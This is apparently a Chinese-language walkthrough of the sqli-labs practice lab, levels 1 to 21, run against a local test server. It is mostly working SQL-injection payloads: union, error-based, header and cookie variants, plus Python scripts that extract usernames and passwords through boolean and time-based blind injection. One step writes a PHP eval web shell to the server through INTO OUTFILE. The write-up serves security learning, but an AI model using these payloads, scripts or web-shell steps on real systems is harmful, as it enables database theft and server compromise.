基础知识
-
select * from * LIMIT N; --检索前N行数据,显示1-N条数据
-
select * from * LIMIT N,M; --从第N行数据为起点,检索M行数据
-
如select * from * LIMIT 0,1; --从第0行开始检索1条数据,其实就是输出第一条的数据
-
select * from * LIMIT M OFFSET N; --从第N行数据为起点,检索M行数据,跟limit N,M参数掉转位置而已
-
常用函数
1. version()——MySQL版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
6. concat(str1,str2,...) --没有分隔符地连接字符串
7. concat_ws(separator,str1,str2,...) --含有分隔符地连接字符串
8. group_concat(str1,str2,...) --连接一个组的所有字符串,并以逗号分隔每一条数据
- Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入。以下为一般的流程
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxxx'
猜某表的所有列
Select column_name from information_schema.columns where table_name='xxxxx'
获取某列的内容
Select *** from ****
less-1
#找注入点,存在注入点
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' 报错
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' and 1=1 %23 不报错
#由于使用union查询需要前后SELECT 语句必须拥有相同数量的列,所以用order by来测试有多列,当order by 4就会报错所以知道有3列
http://127.0.0.1/sqli-labs-7.2/less-1/?id=1' order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users %23
less-2
#爆列数
http://127.0.0.1/sqli-labs-7.2/less-2?id=1 order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-2?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
less-3
#找注入点
http://127.0.0.1/sqli-labs-7.2/less-3?id=1') and 1=2 %23
#爆列数
http://127.0.0.1/sqli-labs-7.2/less-3?id=1') order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-3?id=-1') union select 1,group_concat(username),group_concat(password) from users %23
less-4
#找注入点
http://127.0.0.1/sqli-labs-7.2/less-4?id=1"
http://127.0.0.1/sqli-labs-7.2/less-4?id=1") and 1=2 %23
#爆列数
http://127.0.0.1/sqli-labs-7.2/less-4?id=1") order by 4 %23
#爆数据库
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata %23
#爆数据表
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
#爆字段名
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
#爆用户名和密码
http://127.0.0.1/sqli-labs-7.2/less-4?id=-1") union select 1,group_concat(username),group_concat(password) from users %23
-
EXP(X)函数返回e(自然对数的底)指数X的幂值
-
name_const(name,value)返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。
-
IF(expr1,expr2,expr3) -- expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。if(a,b,c)如果a成立,执行b,不成立执行C
-
mid(column_name,start[,length]) --str="123456" mid(str,2,1) 结果为2
-
string substring(string, start, length) 跟mid()差不多
-
string substr(string, start, length) 跟mid()差不多
-
left(string, n) --string为要截取的字符串,n为长度。
-
常用基于报错的sql盲注函数
extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
less-5
- 先找到注入点
#报错
http://127.0.0.1/sqli-labs-7.2/less-5?id=1'
#显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1' and 1=1 %23
#不显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1' and 1=2 %23
- 这里是基于布尔类型的盲注,然后写了个简单的脚本,从结果来看也爆出来了
import requests
import string
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if 'You are in' in respond:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-5' #url
injection = "1' and left({},{}) = '{}' #" #injection
database_name = leak_database(url,injection,'id')
print "database name: ",database_name
table_name = leak_tables(url,injection,'id')
print "table name: ",table_name
column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name
username = leak_content(url,injection,'id','username','users')
print 'username: ',username
password = leak_content(url,injection,'id','password','users')
print 'password: ',password
less-6
- 先找到注入点
#报错
http://127.0.0.1/sqli-labs-7.2/less-6?id=1"
#显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1" and 1=1 %23
#不显示you are in....
http://127.0.0.1/sqli-labs-7.2/less-5?id=1" and 1=2 %23
- 然后改上一关写的盲注脚本注入点即可
import requests
import string
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if 'You are in' in respond:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if 'You are in' in respond:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-6' #url
injection = "1\" and left({},{}) = '{}' #" #injection
database_name = leak_database(url,injection,'id')
print "database name: ",database_name
table_name = leak_tables(url,injection,'id')
print "table name: ",table_name
column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name
username = leak_content(url,injection,'id','username','users')
print 'username: ',username
password = leak_content(url,injection,'id','password','users')
print 'password: ',password
- mysql注入load_file常用路径
- load data infile file_name into table table_name 用于高速地从一个文本文件中读取行,并装入一个表中。
- select table into outfile file_name 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有file权限,才能使用此语法。file_name不能是一个已经存在的文件。
- show variables like '%secure%'; --查看 secure-file-priv 当前的值,如果是null代表禁止导出
less-7
- 寻找注入点
#正常显示
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) and 1=1 %23
#报错
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) and 1=2 %23
- 然后可以像less-5那样盲注出来,但这里题目提示我们用outfile来做,使用outfile的前提是secure_file_priv没有设置为null,否则没有权限,然后还要知道路径,这里假设我们已经知道路径
#写一句话木马在服务器上
http://127.0.0.1/sqli-labs-7.2/less-7?id=1')) union select 1,2,'<?php @eval($_post["123"])?>' into outfile '/Users/hacker-mao/Documents/MAMP/1.php' %23
- 虽然显示报错,但是实际上已经写入了文件,然后用菜刀连即可
less-8
- 跟less-5 一样,只是不能用报错注入了,直接用less-5的基于布尔盲注脚本能跑出来,但是这里修改一下改成基于时间盲注的脚本来跑
#正常
http://127.0.0.1/sqli-labs-7.2/less-8?id=1' and 1=1 %23
#异常
http://127.0.0.1/sqli-labs-7.2/less-8?id=1' and 1=2 %23
import requests
import string
import time
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
#print database_name
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-8' #url
injection = "1' union select 1,2,if( (left({},{}) = '{}') , sleep(5) , 0) #" #injection
database_name = leak_database(url,injection,'id')
print "database name: ",database_name
table_name = leak_tables(url,injection,'id')
print "table name: ",table_name
column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name
username = leak_content(url,injection,'id','username','users')
print 'username: ',username
password = leak_content(url,injection,'id','password','users')
print 'password: ',password
- 跑出来的结果
less-9
- 这里跟第8关的区别就在于不管正不正确都会有'You are in ...'字样出来,无法判断注入点,但是可以根据时间盲注还判断自己的sql语句是否能执行,然后用上一关写的时间盲注脚本跑就行了
#会有延迟,说明sql语句执行了
http://127.0.0.1/sqli-labs-7.2/less-9?id=1' union select 1,2,if(left(database(),1) = 'a', 0 , sleep(5)) %23
less-10
- 这关还是时间盲注,只是改了注入点,将我们的脚本改一改就行了
#会有5秒延迟,说明执行了我们的sql语句
http://127.0.0.1/sqli-labs-7.2/less-10?id=1" union select 1,2,if(left(database(),1) = 'a', 0 , sleep(5)) %23
import requests
import string
import time
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
#print database_name
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
#print r.url
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
startime = time.time()
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1}
r = requests.get(url,params=payload)
respond = r.text.encode('utf-8')
if time.time() - startime > 5:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-8' #url
injection = "1\" union select 1,2,if( (left({},{}) = '{}') , sleep(5) , 0) #" #injection
database_name = leak_database(url,injection,'id')
print "database name: ",database_name
table_name = leak_tables(url,injection,'id')
print "table name: ",table_name
column_name = leak_columns(url,injection,'id','users')
print 'column name: ',column_name
username = leak_content(url,injection,'id','username','users')
print 'username: ',username
password = leak_content(url,injection,'id','password','users')
print 'password: ',password
- 这里放简单跑了一下数据库名的图
less-11
- 这里输入'会报错,所以存在注入点
- 让uname = admin'#正常登陆admin
- 爆出列数
- 爆库名
- 后面的步骤就跟get注入差不多就不重复了
less-12
- 跟11关相比换了闭合符号
#爆库名
uname=-1") union select 1,group_concat(schema_name) from information_schema.schemata # &passwd=123
less-13
- 基于布尔类型的post盲注,找注入点,然后直接上脚本跑
#注入点
uname=1') and left(database(),1) = 's' # & passwd=123
import requests
import string
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
#print r.url
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-13/' #url
injection = "admin') and left({},{}) = '{}' #" #injection
database_name = leak_database(url,injection,'uname')
print "database name: ",database_name
table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name
column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name
username = leak_content(url,injection,'uname','username','users')
print 'username: ',username
password = leak_content(url,injection,'uname','password','users')
print 'password: ',password
less-14
- 跟13关一样,布尔盲注,闭合符号变成了",用脚本可以跑出来,但这里熟悉一下报错注入
#成功回显
uname=admin" or 1=1 # & passwd=123
#不成功回显示
uname=admin" and 1=2 # & passwd=123
#爆版本
uname=admin" and extractvalue(1,concat(0x7e,(select @@version),0x7e))# & passwd=123
#爆数据库名
uname=admin" and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) # & passwd=123
#爆数据表
uname=admin" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e)) # & passwd=123
#爆数据段
uname=admin" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e)) # & passwd=123
uname=admin" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 5,1),0x7e)) # & passwd=123
#爆数据
uname=admin" and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e)) # & passwd=123
uname=admin" and extractvalue(1,concat(0x7e,(select password from users limit 7,1),0x7e)) # & passwd=123
less-15
- 还是和前面一样,闭合符号变成了',继续改脚本跑脚本
import requests
import string
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
#print r.url
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-15/' #url
injection = "admin' and left({},{}) = '{}' #" #injection
database_name = leak_database(url,injection,'uname')
print "database name: ",database_name
table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name
column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name
username = leak_content(url,injection,'uname','username','users')
print 'username: ',username
password = leak_content(url,injection,'uname','password','users')
print 'password: ',password
less-16
- 和前面一样,闭合符号变成了"),跑脚本
#成功回显
uname=admin") or 1=1 # & passwd=123
#没回显
uname=admin") and 1=2 # & passwd=123
import requests
import string
list = string.lowercase + string.uppercase + string.digits + '!\"$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
def leak_database(url,cmd,inj_point):
database_name = ""
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format('database()',i,database_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
database_name += j
flags = 1
break
if not flags:
return database_name
i += 1
def leak_tables(url,cmd,inj_point):
tables = []
l = 0
while True:
table_name = ""
sql_1 = '(select table_name from information_schema.tables where table_schema = database() limit {},1)'.format(l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,table_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
#print r.url
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
table_name += j
flags = 1
break
if not table_name:
return tables
if not flags:
tables.append(table_name)
break
i += 1
l += 1
def leak_columns(url,cmd,inj_point,table_name):
columns = []
l = 0
while True:
column_name = ""
sql_1 = "(select column_name from information_schema.columns where table_name = '{}' limit {},1)".format(table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,column_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
column_name += j
flags = 1
break
if not column_name:
return columns
if not flags:
columns.append(column_name)
break
i += 1
l += 1
def leak_content(url,cmd,inj_point,column_name,table_name):
contents = []
l = 0
while True:
content_name = ""
sql_1 = "(select {} from {} limit {},1)".format(column_name,table_name,l)
i = 1
while True:
flags = 0
for j in list:
cmd1 = cmd.format(sql_1,i,content_name+j)
payload = {inj_point:cmd1,'passwd':'123'}
r = requests.post(url,payload)
respond = r.text.encode('utf-8')
if 'flag.jpg' in respond:
content_name += j
flags = 1
break
if not content_name:
return contents
if not flags:
contents.append(content_name)
break
i += 1
l += 1
url = 'http://127.0.0.1/sqli-labs-7.2/less-16/' #url
injection = "admin\") and left({},{}) = '{}' #" #injection
database_name = leak_database(url,injection,'uname')
print "database name: ",database_name
table_name = leak_tables(url,injection,'uname')
print "table name: ",table_name
column_name = leak_columns(url,injection,'uname','users')
print 'column name: ',column_name
username = leak_content(url,injection,'uname','username','users')
print 'username: ',username
password = leak_content(url,injection,'uname','password','users')
print 'password: ',password
less-17
- 这题username无法绕过,有个mysqli_real_escape_string函数会自动转义符号,所以我们的重心放在password这里
- 利用报错盲注对password进行注入
#爆版本
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #&submit=Submit
#爆数据库名
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) #&submit=Submit
#爆数据表名
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),0x7e)) #&submit=Submit
#爆数据段
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 4,1),0x7e)) #&submit=Submit
uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 5,1),0x7e)) #&submit=Submit
- 爆数据,这里原本用的是
uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e)) #&submit=Submit
- 然后会报一个You can't specify target table 'users' for update in FROM clause的错误,查了之后查发现是不允许selec一个表的值再更改这个表(在同一语句中),将select出的结果再通过中间表select一遍,这样就规避了错误。注意,这个问题只出现于mysql,mssql和oracle不会出现此问题。
- 然后通过增加一个中间select最终爆出数据
uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select u2.username from (select u1.username from users u1) u2 limit 7,1),0x7e)) #&submit=Submit
uname=admin & passwd=1' and uname=admin & passwd=1' and extractvalue(1,concat(0x7e,(select u2.password from (select u1.password from users u1) u2 limit 7,1),0x7e)) #&submit=Submit
less-18
- 这里直接在输入uname和passwd上进行注入是不行的,但是可以利用在insert的时候将useragent和ip插入到数据库中注入,使用bp抓包来注入
POST /sqli-labs-7.2/less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: 1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) and '1' = '1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
uname=dumb&passwd=dumb&submit=Submit
less-19
- 和上关差不多,上关是useragent,这关是修改referer
POST /sqli-labs-7.2/less-19/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: 1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 4,1),0x7e)) and '1' = '1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
uname=dumb&passwd=dumb
less-20
- 看源码可以知道,当成功登陆一次后会存储uname到cookie,下次刷新就会直接从cookie读取uname来执行sql查询,所以我们可以对cookie进行注入,先正常登陆一次,再直接在控制台修改cookie
document.cookie="uname=admin' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #"
less-21
- 跟上关差不多,但是会先对cookie进行base64decode,所以我们对cookie注入时要先进行base64encode,cookie对换行符貌似不识别,所以转换成base64后我把换行符都删除了才能正常执行
>>> "1') and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #".encode('base64')
'MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3\nZSkpICM=\n'
